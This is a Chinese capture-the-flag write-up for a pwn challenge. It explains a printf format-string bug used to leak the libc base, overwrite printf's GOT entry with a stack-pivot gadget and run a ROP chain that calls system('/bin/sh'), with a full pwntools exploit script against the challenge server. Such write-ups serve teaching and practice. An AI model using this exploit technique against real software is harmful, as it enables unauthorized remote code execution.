程序很简单,while(1)反复利用fmt漏洞:
泄露libc地址:
main函数是由__libc_start_main函数调用的,所以main执行时,ebp下面那个就是__libc_start_main中的地址,而__libc_start_main函数是位于libc中的,利用printf把返回地址打出来就可以泄露libc基址了.
之后便可以劫持got了,直接改printf为system得需要修改4个字节,打远程还是算了,这里提供另一种方法.
把printf的got改为某个gadget,这个gadget需要满足:
1.可以调整esp的值,(增大,这样就不会ret原来地址了)
2.在printf附近,只需要修改两个字节就行(但还是得爆破1个十六进制位)
先看一下printf地址:
找一个0x00049___的gadget,看了一下确实存在.
esp增加了几十个字节,可以绕过返回地址,最后ret到buff中执行我们自己布置的rop链。
注意事项:
libc地址我们只能确定低三个十六进制位是0,如果我们就按照0x0004913d来修改got
的低两个字节,那么必须爆破直到满足libc低两字节为0的情况.
exp:
from pwn import*
#sh = process('./pwn')
elf = ELF('./pwn')
while True:
sh = remote('node4.buuoj.cn',27502)
sh.recvuntil(b'Do you know repeater?\n')
sh.send(b"%35$p\x00")
libc_base = int(sh.recvline()[:-1],16) - 0x18637
log.success('libc_base: %x',libc_base)
if (libc_base&0xffff) != 0:
sh.close()
continue
system = libc_base + 0x0003a940
bin_sh = libc_base + 0x0015902B
gadget = 0x0004913d
fmt = (b'%%%du%%10$hn'%(gadget&0xffff)).ljust(16,b'\x00') + p32(elf.got['printf'])
print(fmt)
sh.send(fmt.ljust(100,b'\x00'))
#
log.success('system:%x \nbin_sh:%x \n',system,bin_sh)
#gdb.attach(sh)
payload = p32(0) * 4 + p32(system) + p32(elf.symbols['main']) + p32(bin_sh)
sh.send(payload.ljust(100,b'\x00'))
sh.recvline()
sh.interactive()
爆破几秒钟,成功getshell: